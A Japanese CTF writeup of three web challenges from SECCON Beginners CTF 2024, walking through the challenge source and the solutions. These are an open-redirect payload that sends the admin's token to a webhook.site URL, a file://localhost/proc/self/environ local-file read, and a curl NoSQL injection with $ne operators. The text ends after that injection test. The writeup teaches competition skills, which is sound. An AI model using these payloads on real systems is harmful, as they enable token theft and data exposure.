st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON Beginners CTF 2024 writeup (Web全問)

6/16の14時から24時間という競技時間で開催された。どれぐらい素早く解けるかの腕試しとして参加した。無事に開始から実質3時間*1でWeb問を全完でき、またhtmls, flagAliasの2問についてはfirst bloodを取れてよかった。


[Web 78] wooorker (186 solves)

adminのみflagを取得できる認可サービスを作りました!

(URL)

添付ファイル: wooorker.tar.gz

タグ: author:yuasa, beginner

アプリを触ってみる

与えられたURLにアクセスすると、次のようなメッセージが表示された。何をするにせよログインをする必要がありそうだ。

リンクをクリックすると /login?next=/ へ遷移した。次のようにログインフォームが表示される。プレースホルダーの通り guest / guest を入力し、送信すると、ログインできた。

ログイン後は

/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODQ4NjMzOCwiZXhwIjoxNzE4NDg5OTM4fQ.UI9aw4AKxZ1YmtPTTWxm8E2q8MSxyTjePpvf1LGRZ3U

に遷移した。クエリパラメータの token に入っている文字列が、ログイン前に表示されていた "token" だろう。しかしながら、このトークンでは権限が足りないのかなんなのか、"Access denied" と怒られてしまった。

フロントエンドのソースコードを確認する

ソースコードを確認していこう。バックエンド側も含めてこのサービスのソースコードはすべて与えられているが、まずフロントエンド側の処理から確認していく。トップページから読み込まれているJSファイルは /flag.js のみだが、この内容は次のとおりだ。

ログイン後にはクエリパラメータにトークンが含まれていたが、もしトークンが含まれていれば、Authorization ヘッダの値として付与したうえで /flag というAPIを叩いているようだ。

document.addEventListener('DOMContentLoaded', async() => {
    const token = new URLSearchParams(window.location.search).get('token');
    if (!token) {
        document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>";
        return;
    }

    try {
        const response = await fetch('/flag', {
            headers: {
                'Authorization': `Bearer ${token}`
            }
        });
        const result = await response.json();
        if (response.ok) {
            document.getElementById('flagContainer').innerText = result.flag;
        } else {
            document.getElementById('flagContainer').innerText = result.error;
        }
    } catch (error) {
        document.getElementById('flagContainer').innerText = 'Error fetching flag.';
    }
});

ログインフォームは次のようなHTMLになっている。main.js というJSファイルが読み込まれていること、また Login と書かれているボタンをクリックすると login という関数が呼び出されることがわかる。loginmain.js で定義されているのだろう。

    <div>
        <label for="username">Username</label>
        <input type="text" id="username" placeholder="guest">
    </div>
    <div>
        <label for="password">Password</label>
        <input type="password" id="password" placeholder="guest">
    </div>
    <button type="submit" onclick="login()">Login</button>
    <div id="errorContainer"></div>
    <div id="flagContainer"></div>
    <script src="main.js"></script>

/main.js の内容は次のとおりだ。まず const loginWorker = new Worker('login.js'); というような処理があるけれども、これはWeb Workerとよばれる機能を使って、バックグラウンドで login.js に含まれているJSコードを実行するということを意味する。

Login ボタンを押した際に呼び出される login 関数だが、これはフォームに入力されたユーザ名とパスワードを取り出し、loginWorker.postMessage({ username, password })postMessage によってバックグランドで実行されている login.js のスレッドに送っている。

loginWorker.onmessage に関数を代入しているが、これは login.js 側のスレッドから postMessage によってメッセージが送られてきた際に呼び出されるようになっている。const { token, error } = event.data と与えられた引数から受信したメッセージを取り出しているが、どうやらトークンかエラー情報が含まれているらしい。エラー情報はログインに失敗した際にのみ含まれているようだ。

エラー情報が含まれていない、つまりログインに成功した際には別ページへ遷移する。この遷移先はデフォルトではトップページへ、もし next というクエリパラメータが設定されていればそのURLへ遷移するらしい。なお、この際 ?token=(トークン) のように、遷移先のURLにはクエリパラメータとして発行されたトークンが渡される。

const loginWorker = new Worker('login.js');

function login() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    document.getElementById('username').value = '';
    document.getElementById('password').value = '';
    loginWorker.postMessage({ username, password });
}

loginWorker.onmessage = function(event) {
    const { token, error } = event.data;
    if (error) {
        document.getElementById('errorContainer').innerText = error;
        return;
    }
    if (token) {
        const params = new URLSearchParams(window.location.search);
        const next = params.get('next');

        if (next) {
            window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
        } else {
            window.location.href = `/?token=${token}`;
        }
    }
};

バックグラウンドで動いている login.js を見ていく。onmessage に関数を代入して main.js からメッセージが送られてくるのを待ち受けている。送られてきたユーザ名とパスワードについて、{"username":"(ユーザ名)","password":"(パスワード)"} というJSONに変換したうえで、これをリクエストボディとして /login というAPIに対してPOSTで投げている。

/login のレスポンスももちろんJSONで返ってくるわけだが、その ok というプロパティにログインの成否が Boolean で含まれているらしい。成功していれば token プロパティに発行されたトークンを、失敗していれば error プロパティにエラー情報を含ませたオブジェクトを、postMessagemain.js にメッセージとして送る。このメッセージを受け取るのが、先ほど確認した loginWorker.onmessage に代入されている関数だ。

let username, password;

onmessage = async function(event) {
    if(!username) username = event.data.username;
    if(!password) password = event.data.password;

    try {
        const response = await fetch('/login', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ username, password })
        });
        const result = await response.json();

        if (response.ok) {
            postMessage({ token: result.token });
        } else {
            postMessage({ token: '', error: result.error });
        }
    } catch (error) {
        postMessage({ token: '', error: 'Error logging in.' });
    }
};

バックエンドのソースコードを確認する

バックエンド側のソースコードを確認していく。色々ディレクトリやファイルが存在しているけれども、compose.yaml というDocker Compose向けの設定ファイルも含まれている。docker compose up -d --build のようなOSコマンドによってローカルでも検証できるように配布しているのだろうけれども、どのようなサービスが存在しているかをざっと見るために、このファイルを確認する。内容は次の通りで、まず wooorker, nginx, redis, crawler という4つのコンテナが存在していることがわかる。

ports から外部に公開されているサービスを確認すると、nginx では 34466/tcp が、redis では 16379/tcp が公開されていることがわかる。後者はわざわざ公開する意味がわからない(また、問題サーバで確認したがポートは開いていない)が、nginx というサービスが我々外部からアクセスする者にとっては入口になることがわかる。

services:
  wooorker:
    build: ./app
    environment:
      - PORT=34466
      - FLAG=ctf4b{dummy_flag}
      - REDIS_HOST=redis
      - REDIS_PORT=6379
      - ADMIN_PASSWORD=admin
  nginx:
    build: ./nginx
    ports:
      - 34466:80
    depends_on:
      - wooorker
    restart: always
  redis:
    image: redis:7-alpine
    volumes:
      - redis:/data
    ports:
      - 16379:6379
    restart: always
  crawler:
    build: ./crawler
    restart: always
    environment:
      - APP_URL=http://wooorker:34466/
      - ADMIN_USERNAME=admin
      - ADMIN_PASSWORD=admin
      - REDIS_HOST=redis
      - REDIS_PORT=6379

nginx について見ていく。Dockerイメージを作成するための Dockerfile はシンプルで、普通の nginx:latest イメージを使って、カスタムされた nginx.conf を送り込んでいるだけだ。

FROM nginx:latest

COPY nginx.conf /etc/nginx/nginx.conf

CMD ["nginx", "-g", "daemon off;", "-c", "/etc/nginx/nginx.conf"]

nginx.conf は次の通り。こちらも注目すべき点は proxy_pass http://wooorker:34466 ぐらいで、このWebサーバへのアクセス時に、リクエストはそのまま後ろに控えている wooorker コンテナへ流されることがわかる。

user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;

    keepalive_timeout  65;


server {
    listen 80;

    location / {
        proxy_pass http://wooorker:34466;
    }
}

}

では、nginx の裏にいる wooorker はどのような処理をしているか見ていこう。Dockerfile は次の通りで、ここからNode.js 21で動いていることがわかる。コンテナ実行時には npm start というコマンドからスタートするらしい。

FROM node:21-alpine

WORKDIR /app

COPY package.json ./

RUN npm i

COPY . .

RUN adduser -D wooorker
USER wooorker

CMD ["npm", "start"]

npm start は、package.jsonscripts 中に含まれる start プロパティで設定されているOSコマンドを実行する。package.json は次のような内容で、npm startnode server.js が実行されることがわかる。なるほど、エントリーポイントは server.js にあるようだ。

ほかにも、dependencies からExpressというWebフレームワークが使われているであろうこと、jsonwebtoken からはJSON Web Token(JWT)が使われているであろうこと、そして ioredis からは、このコンテナとは別に存在しているRedisコンテナのデータの操作を行っているであろうことが推測できる。いずれにしても、JSのコードを読まないとわからない。

{
    "name": "wooorker",
    "version": "1.0.0",
    "description": "",
    "main": "index.js",
    "scripts": {
        "start": "node server.js"
    },
    "dependencies": {
        "express": "^4.19.2",
        "jsonwebtoken": "^9.0.2",
        "ioredis": "^5.4.1"
    }
}

では、満を持して server.js を読んでいく。100行弱とやや長めなので、重要な点を切り取りつつ見ていく。まず先頭の20行弱は次の通り。users というオブジェクトにユーザ情報を格納しているらしく、そのプロパティ名としてユーザ名、それに対応する値としてパスワードや admin かどうかという情報を含んでいるらしい。guestadmin というユーザが存在しているが、後者は process.env.ADMIN_PASSWORD と、環境変数の ADMIN_PASSWORD で設定されているパスワードでログインできるようだ。

compose.yaml 中の ADMIN_PASSWORD=admin という記述からこの環境変数は admin と設定されていることがわかるが、本番の問題サーバでは通らない。別のパスワードに変更されているらしい。

const express = require('express');
const jwt = require('jsonwebtoken');
const path = require('path');
const crypto = require('crypto');

const app = express();
app.use(express.json());
app.use(express.static('public'));

const jwtSecret = crypto.randomBytes(64).toString('hex');
const FLAG = process.env.FLAG;
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD;

const users = {
  admin: { password: ADMIN_PASSWORD, isAdmin: true },
  guest: { password: 'guest', isAdmin: false }
};

ログインフォームから叩かれていた POST /login に対応するコードを確認する。以下の通り、非常に素朴な実装だ。まず、リクエストボディから与えられたユーザ名をプロパティ名として、ユーザ情報が含まれている users から対応するオブジェクトを引っ張ってくる。もし存在していなければ(つまり、guestadmin 以外であれば) undefined が返ってくるから、その次の if 文では else ブロックの処理が実行される。

もしユーザが存在していれば、さらにそのユーザ情報のパスワードと、与えられたパスワードが一致しているか確認する。一致していれば、{ username, isAdmin: user.isAdmin } というオブジェクトを jwt.sign で署名し、JWTを生成する。ここで、署名に使われている鍵は jwtSecret という変数に格納されている文字列だ。定義を確認すると crypto.randomBytes(64).toString('hex') とされているが、crypto.randomBytes は "cryptographically strong pseudorandom data" を返すため、予測できないことがわかる。

app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = users[username];

  if (user && user.password === password) {
    const token = jwt.sign({ username, isAdmin: user.isAdmin }, jwtSecret, { expiresIn: '1h' });
    res.status(200).json({ token });
  } else {
    res.status(401).json({ error: 'Unauthorized' });
  }
});

このトークンは GET /flagAuthorization ヘッダに付与される形で使われるのだった。GET /flag に対応するコードを見ていく。こちらも単純な作りになっている。jwt.verify で与えられたJWTが妥当か検証し、もし妥当なJWTが与えられており、かつ isAdmin クレームがtruthyであればフラグを返すというAPIのようだ。

ここで jwt.verify をごまかして偽物のJWTを妥当であると判断させることができないかと考える。jwt.verify第3引数から検証アルゴリズムを制限できるようになっており、これによってユーザから与えられたJWTの alg が改ざんされていても、それを弾くことができる。

今回はそれが指定されていないので検証アルゴリズム(alg)が変更できるが、none に変えて検証なしでも通るようにするのは9.0.2と新しいバージョンであるためできないし、鍵が非対称なアルゴリズムに変更しようにも、ここで検証用の鍵として参照されている jwtSecret はそれに対応していない。このアプローチは一旦諦めよう。

app.get('/flag', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }
  
  try {
    const decoded = jwt.verify(token, jwtSecret);
    if (decoded.isAdmin) {
      const flag = FLAG;
      res.status(200).json({ flag });
    } else {
      res.status(403).json({ error: 'Access denied' });
    }
  } catch (error) {
    res.status(401).json({ error: 'Invalid token' });
  }
});

最後に、このアプリには「レポート機能」も存在している。/report からアクセスできるのがそれだ。たとえば login?next=/ というようなパスをフォームに入力することで、admin の認証情報を知っているユーザが、指定したパスからログインしてくれるというものらしい。

対応するコードは次の通りだが、rpushquery というキーにRedisにユーザから与えられたパスを突っ込んでいるだけに見える。

// レポート機能
// Redis
const Redis = require("ioredis");
let redisClient = new Redis({
  host: process.env.REDIS_HOST,
  port: process.env.REDIS_PORT,
});
redisClient.set("queued_count", 0);
redisClient.set("proceeded_count", 0);

app.get("/report", async (req, res) => {
  res.sendFile(path.join(__dirname, 'public', 'report.html'));
});

app.post("/report", async (req, res, next) => {
  // Parameter check
  const { path } = req.body;
  if (!path || path === "") {
    res.status(400).json({ error: 'Invalid request' });
  }
  try {
    // Enqueued jobs are processed by crawl.js
    redisClient
      .rpush("query", path)
      .then(() => {
        redisClient.incr("queued_count");
      })
      .then(() => {
        console.log("Report enqueued :", path);
        res.status(200).json({ message: 'OK. Admin will check the URL you sent.' });
      });
  } catch (e) {
    console.log("Report error :", e);
    res.status(500).json({ error: 'Internal Server Error' });
  }
});

では、レポート機能の本質部分はどこで実装されているのか。そういえば、crawler というまだ見ていないコンテナがあった。対応する Dockerfile は次の通り。重要なのは最後の2行のみで、面倒を避けるために dumb-init を使っていること、また index.js がエントリーポイントであることがわかる。

FROM ubuntu:20.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update \
    && apt-get install -y curl gnupg2
RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash -
RUN apt-get install -y nodejs
RUN apt-get install -y libglib2.0-0 libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libatspi2.0-0 libx11-6 libxcomposite1 libxdamage1 libxext6 libxfixes3 libxrandr2 libgbm1 libdrm2 libxcb1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2 

COPY ./dumb-init_1.2.5_x86_64 /usr/local/bin/dumb-init
RUN chmod +x /usr/local/bin/dumb-init

WORKDIR /app

RUN addgroup appgroup \
    && useradd appuser -G appgroup \
    && mkdir -p /home/appuser/Downloads \
    && chown -R appuser:appgroup /home/appuser \
    && chown -R appuser:appgroup /app

USER appuser

COPY package.json ./

RUN npm i \
    && npx playwright install chromium

COPY . .

ENTRYPOINT ["dumb-init", "--"]
CMD ["node", "index.js"]

index.js を見ていく。これも少しずつ確認していく。まず先頭の11行だが、そこまで重要な情報はない。Redisを使うこと、またPlaywrightというライブラリを使うことによって、JavaScript側からChromiumを操作しようとしていることがわかる。

const { chromium } = require('playwright');
const { v4: uuidv4 } = require("uuid");
const Redis = require("ioredis");
const connection = new Redis({
  host: process.env.REDIS_HOST,
  port: process.env.REDIS_PORT,
});

const ADMIN_USERNAME = process.env.ADMIN_USERNAME; 
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD; 
const APP_URL = process.env.APP_URL;

以下の部分は、先ほど参照されていたRedisの query というキーから blpop でユーザが通報したパスを取ってきている処理となる。そのパスについて、crawl という関数に投げている。

(async () => {
  while (true) {
    console.log(
      "[*] waiting new query",
      await connection.get("queued_count"),
      await connection.get("proceeded_count")
    );
    const ID = uuidv4();
    await connection
      .blpop("query", 0)
      .then((v) => {
        const path = v[1];
        console.log("crawl", ID, path);
        return crawl(path, ID);
      })
      .then(() => {
        console.log("crawl", ID, "finished");
        return connection.incr("proceeded_count");
      })
      .catch((e) => {
        console.log("crawl", ID, e);
      });
  }
})();

crawl の定義は次の通り。APP_URL には https://wooorker.quals.beginners.seccon.jp/ のように問題サーバのURLが含まれているわけだが、これにユーザが通報したパスを結合して、それにアクセスしている。このパスはログインフォームを想定しているようで、フォームに admin のユーザ名とパスワードを入力し、そしてログインボタンを押すという動作をしている。

このレポート機能を悪用して、admin のユーザ名とパスワード、もしくはログイン後に発行されるトークンを盗み出せないだろうか。そうすれば、admin のトークンを使って /flag にアクセスすることでフラグが得られるはずだ。

const crawl = async (path, ID) => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  try {
    // (If you set `login?next=/` as path in Report page, admin accesses `https://wooorker.quals.beginners.seccon.jp/login?next=/` here.)
    const targetURL = APP_URL + path;
    console.log("target url:", targetURL);
    await page.goto(targetURL, {
        waitUntil: "domcontentloaded",
        timeout: 3000, 
    }); 
    await page.waitForSelector("input[id=username]");
    await page.type("input[id=username]", ADMIN_USERNAME);
    await page.type("input[id=password]", ADMIN_PASSWORD);
    await page.click("button[type=submit]");

    await page.waitForTimeout(1000);

    await page.close();
  } catch (err) {
    console.error("crawl", ID, err.message);
  } finally {
    await browser.close();
    console.log("crawl", ID, "browser closed");
  }
};

解く

この問題のゴールは、有効かつ isAdmin クレームがtruthyであるJWTを GET /flag に投げることだった。そのためには、JWTを偽造するか、admin のトークンを手に入れる必要がある。前者は GET /flag の実装を見た際に、今回は難しいと判断したのだった。後者について考える。

admin のトークンを手に入れるにはどうすればよいか。認証をバイパスして admin としてログインするか、すでに admin としてログインしているユーザからトークンを窃取するという方法がある。前者は POST /login の実装があまりに素朴であり、また users へ新たなユーザを追加する方法等もないため、一旦可能性としては排除したい。では、後者だ。

レポート機能では、ユーザが指定したパスから、admin としてログインしてくれるのだった。このパスは APP_URL へ結合されアクセスされるという都合から、https://example.com のように外部のURLをログインフォームとして誤認させ admin の認証情報を入力させることはできない。この問題サーバ以下に存在する機能を悪用する必要がある。

ログインフォームの実装を思い出す。/login では、ユーザのログインが成功すると、クエリパラメータの next で指定したURLに token というパラメータでトークンを付与して遷移するのだった。ここで next に外部のURLが含まれていれば、ログイン後にそこへトークンが渡ってしまうはずだ。

Webhook.siteという、発行されたURLへのアクセスログを確認できるWebアプリを利用する。/login?next=https://webhook.site/(省略) というように next に発行されたURLを指定し、試しに自分で guest としてログインしてみる。Webhook.site側のログを確認してみると、次のようにクエリパラメータに guest 向けに発行されたトークンが渡ってきていた。攻撃に成功したらしい。

レポート機能にこのパスを投げてみよう。/login?next=https://webhook.site/(省略) を通報する。今度は admin 向けに発行されたトークンが渡ってきている。

/?token=(窃取したトークン) にアクセスすると、フラグが得られた。

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

[Web 113] ssrforlfi (76 solves)

SSRF? LFI? ひょっとしてRCE?

(URL)

添付ファイル: ssrforlfi.tar.gz

タグ: author:Satoki, easy

問題の概要

今回はソースコードから確認していく。docker-compose.yml は次の通りで、uwsginginx という2つのコンテナがあることがわかる。env_file.env というファイルが指定されているが、これはこのファイルから環境変数を読み込むことを意味する。

services:
  uwsgi:
    build: ./app
    env_file:
      - .env
    expose:
      - "7777"
    restart: always
  nginx:
    build: ./nginx
    links:
      - uwsgi
    ports:
      - "4989:80"
    environment:
      TZ: "Asia/Tokyo"
    restart: always

.env は次の通り。FLAG という環境変数にフラグが含まれているようだ。

FLAG=ctf4b{*****REDACTED*****}
TZ=Asia/Tokyo

各サービスを見ていく。もっとも、nginx はwooorkerとほぼ同じ構成であるので、nginx.conf を参照するのはスキップして、このコンテナの後ろに控えている uwsgi を見ていく。Dockerfile は次の通り。重要なのは最終行で、どうやらuWSGIを使っているらしいこと、/var/www/uwsgi.ini にその設定ファイルが存在しているらしいことがわかる。

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get -y update --fix-missing && apt-get -y upgrade
RUN apt-get -y install python3 python3-pip curl

RUN mkdir /var/www
WORKDIR /var/www
COPY ./ ./

RUN pip3 install -r requirements.txt

ENV LANG C.UTF-8

RUN chmod 755 -R /var/www
RUN adduser -u 1000 ssrforlfi
USER ssrforlfi

CMD ["uwsgi", "--ini", "/var/www/uwsgi.ini"]

uwsgi.ini は次の通り。wsgi-file = app.py から app.py がエントリーポイントであることがわかる。

[uwsgi]
wsgi-file = app.py
callable = app
master = true
processes = 4
threads = 4
socket = :7777
chmod-socket = 666
vacuum = true
die-on-term = true
py-autoreload = 1

app.py は次の通り。/?url=http://example.com/ のようにクエリパラメータからURLを指定することで、その内容を返してくれるWebアプリらしい。最終的に curl コマンドで指定したURLにアクセスするようだが、そこまでで数点、ユーザの入力したURLに対してチェックがなされている。

まず re.match('^[a-z"()./:;<>@|]*$', url) というチェックだけれども、ここで正規表現によって a-z, ", (, ), ., /, :, ;, <, >, @, | 以外の文字がURLに含まれていないかを確認している。subprocess.run によるOSコマンドの実行時に ' でURLを囲んでいるので、ここでURLに ' を含ませてOSコマンドインジェクションを起こされることを防いだり、curlでは []{} のような文字を使ってURL globbingということができたりするためにこれを潰したりしているのだろう。

URLのスキームについても確認されている。http://, https://, file:// のいずれかで始まっている必要があるらしい。http:// または https:// であれば、localhost へのアクセスでないかを確認している。Server-Side Request Forgery(SSRF)対策と思われるが、これは 127.0.0.1 でバイパスできそうだ。しかしながら、バイパスしたところでローカルからしかアクセスできない秘密のAPIがあるわけでなし、特に意味がない。

file:// から始まる場合はまた別のチェックが入る。これは file:///etc/passwd のようにしてローカルファイルを読み込むことができるスキームだが、URLの8文字目以降が読み込まれるファイルのパスである。実在しているファイルであるか、.. が含まれていれば弾かれる(Path Traversal対策がしたいのだろう)。file:// を許可しているのかと思ったら、ローカルファイルを読ませない仕組みになっていた*2

import os
import re
import subprocess
from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout ;("
    if proc.returncode != 0:
        return "Error ;("
    return proc.stdout


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=4989)

解く

さて、フラグは環境変数に含まれているという話だった。なんとかして、ファイルとして環境変数が得られるような仕組みはないか。

Dockerfile からこのコンテナはUbuntu 22.04で動いているとわかるけれども、この環境ではprocfsが使える。procfsを使えば、たとえば /proc/self/environ から環境変数を得ることができる。なんとかしてURLのチェックをバイパスし、読むことはできないか。

つまりローカルファイルが読みたいわけだから、file:// を使う必要がある。スキームのチェックがcase-sensitiveであることは明らかだから、File:// のように大文字・小文字を混ぜることを考えたが、http://, https://, file:// 以外であるとみなされて、弾かれてしまう。

結局、file:// から始まる場合のチェックをバイパスする必要があるらしい。このとき、パスのチェック対象が8文字目以降であることに注目する。file:// スキームに関するcurlのドキュメントを参照すると、次のような記述が見つかる。実は file:// スキームではホスト名を指定することができ、localhost, 127.0.0.1, 空文字列(つまり、file:///etc/passwd のような場合)が使えるらしい。

curl only allows the hostname part of a FILE URL to be one out of these three alternatives: localhost, 127.0.0.1 or blank ("", zero characters). Anything else makes curl fail to parse the URL.

なるほど、これだ。file://localhost/etc/passwd のようなURLを与えると、チェック時には(融通を利かせずURLの8文字目以降を切り取って) localhost/etc/passwdos.path.exists に渡されるわけだから、当然ながら存在しないファイルとして解釈されるし、一方で curl 側ではホスト名は無視して /etc/passwd の内容を取りに行く。

/?url=file://localhost/etc/passwd にアクセスすると、確かに /etc/passwd の内容を読み出せた。

/?url=file://localhost/proc/self/environ にアクセスすると、フラグが得られた。

ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

[Web 130] double-leaks (55 solves)

Can you leak both username and password? :eyes:

(URL)

添付ファイル: double-leaks.tar.gz

タグ: author:task4233, medium

問題の概要

与えられたURLにアクセスすると、次のようにログインフォームが表示された。

適当な認証情報を入力すると "Invalid Credential" と怒られる。このとき、Chromeの開発者ツール(DevTools)のNetworkタブを見ると、パスワードはSHA-256でハッシュ化したものが送られていることがわかる。

ソースコードを見ていく。docker-compose.yml は次の通り。nginx, backend, mongodb の3つのコンテナが存在しているらしい。backendADMIN_USERNAME, ADMIN_PASSWORD, FLAG の3つの環境変数が渡されていることが気になる。

services:
  nginx:
    build: ./nginx
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - backend
    ports:
      - "41413:80"
    environment:
      TZ: "Asia/Tokyo"
    restart: always
  backend:
    build: ./app
    environment:
      - ADMIN_USERNAME=${ADMIN_USERNAME}
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - FLAG=${FLAG}
    depends_on:
      - mongodb

  mongodb:
    image: mongo
    volumes:
      - ./data/db:/data/db

nginx はこれまでの2問と似た構成なのでスキップし、backend を見ていく。これも ssrforlfi のようにuWSGIを使っているので、いきなりPythonのコードから見ていくが、100行少しと長いので少しずつ確認する。

最初の16行は次の通り。FlaskというWebフレームワークを使っているのだなあとか、PyMongoによって、backend とは別に立っているMongoDBコンテナを操作しようとしているのだなあとか思う。

from flask import Flask, request, jsonify, render_template, abort
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from pymongo import MongoClient
import hashlib
import os
import sys
import string
import traceback

app = Flask(__name__)
limiter = Limiter(
    get_remote_address,
    app=app,
    default_limits=["10 per second"],
)

そこから続く数十行は次の通り。MongoDBの初期化をしているらしい。コードが密でちょっと読みづらいけれども、double-leaks というデータベースの users というコレクションにつき、ADMIN_USERNAMEADMIN_PASSWORD の環境変数から得た認証情報から、admin のユーザ情報を含むドキュメントを追加しているとわかる。ついでに、FLAG という環境変数の値を flag という変数に入れている。

なお、ADMIN_USERNAME, ADMIN_PASSWORD, FLAG はいずれも assert を使いつつ、string.printable のみから成り立っているかを確認している。

def get_mongo_client():
    client = MongoClient(host="mongodb", port=27017)
    out = client.db_name.command("ping")
    assert "ok" in out, "MongoDB is not ready"
    return client


# insert init data
try:
    client = get_mongo_client()
    db = client.get_database("double-leaks")
    users_collection = db.get_collection("users")

    admin_username = os.getenv("ADMIN_USERNAME", "")
    assert len(admin_username) > 0 and any(
        [ch in string.printable for ch in admin_username]
    ), "ADMIN_USERNAME is not set"
    admin_password = os.getenv("ADMIN_PASSWORD", "")
    assert len(admin_password) > 0 and any(
        [ch in string.printable for ch in admin_password]
    ), "ADMIN_PASSWORD is not set"
    flag = os.getenv("FLAG", "flag{dummy_flag}")
    assert len(flag) > 0 and any(
        [ch in string.printable for ch in flag]
    ), "FLAG is not set"

    if users_collection.count_documents({}) == 0:
        hashed_password = hashlib.sha256(admin_password.encode("utf-8")).hexdigest()
        users_collection.insert_one(
            {"username": admin_username, "password_hash": hashed_password}
        )
except Exception:
    traceback.print_exc(file=sys.stderr)
finally:
    client.close()

ログイン時の処理は次の通り。ユーザから与えられたユーザ名とパスワードのハッシュ値について、それらが一致するユーザが存在しているかMongoDBに問い合わせている。もしログインできれば、フラグをくれるらしい。

ここで、waf という関数によって waf(password_hash) のようにパスワードのハッシュ値についてそのフォーマットをチェックしていること、またわざわざ user["username"] != username or user["password_hash"] != password_hash によって、MongoDBから取り出したパスワードのハッシュ値とユーザが入力したものとが一致しているかを見ており、つまりパスワードを二重にチェックしていることが気になる。

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password_hash = request.json["password_hash"]
    if waf(password_hash):
        return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400

    try:
        client = get_mongo_client()
        db = client.get_database("double-leaks")
        users_collection = db.get_collection("users")
        user = users_collection.find_one(
            {"username": username, "password_hash": password_hash}
        )
        if user is None:
            return jsonify({"message": "Invalid Credential"}), 401

        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401

        return jsonify(
            {"message": f"Login successful! Congrats! Here is the flag: {flag}"}
        )

    except Exception:
        traceback.print_exc(file=sys.stderr)
        return jsonify({"message": "Internal Server Error"}), 500
    finally:
        client.close()

waf の実装は次の通り。/, =, where のように変な文字列が含まれていれば弾く関数になっているようだ。

def waf(input_str):
    # DO NOT SEND STRANGE INPUTS! :rage:
    blacklist = [
        "/",
        ".",
        "*",
        "=",
        "+",
        "-",
        "?",
        ";",
        "&",
        "\\",
        "=",
        " ^",
        "(",
        ")",
        "[",
        "]",
        "in",
        "where",
        "regex",
    ]
    return any([word in str(input_str) for word in blacklist])

解く

さて、これでこの問題のゴールはユーザとしてログインすることであるとわかった。MongoDBには admin のユーザ情報しか含まれていないわけだから、そのユーザ名とパスワードを手に入れる必要があるらしい。

このアプリに存在する脆弱性を探す。ユーザから与えられた入力がどこに渡っているかに着目すると、ユーザ名とパスワードのハッシュ値がそれぞれ文字列であるかが検証されずに find_one へ渡っていることがわかる。MongoDBでは {"username":{"$ne":"hoge"},"password":{"$ne":"fuga"}} のようなクエリを発行できる。これはユーザ名が hoge でなく、かつパスワードのハッシュ値が fuga でないという意味になる。ユーザ入力としてこのようなJSONを与えることで、クエリ中にこれらの演算子を含ませることができる(NoSQL Injection)はずだ。

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password_hash = request.json["password_hash"]
# …
        user = users_collection.find_one(
            {"username": username, "password_hash": password_hash}
        )

試してみると、次のように "DO NOT CHEATING" と怒られた。このメッセージが出力されるのは、条件にマッチするユーザがおり、かつ user["username"] != username or user["password_hash"] != password_hash に引っかかってしまった場合のみだ。つまり、「ユーザ名もパスワードのハッシュ値も test でないユーザがいる」というクエリが発行されていることがわかる。NoSQL Injectionには成功しているらしい。

$ curl 'https://double-leaks.beginners.seccon.games/login' \
  -H 'Content-Type: application/json' \
  --data-raw '{"username":{"$ne":"test"},"password_hash":{"$ne":"test"}}'
{"message":"DO NOT CHEATING"}

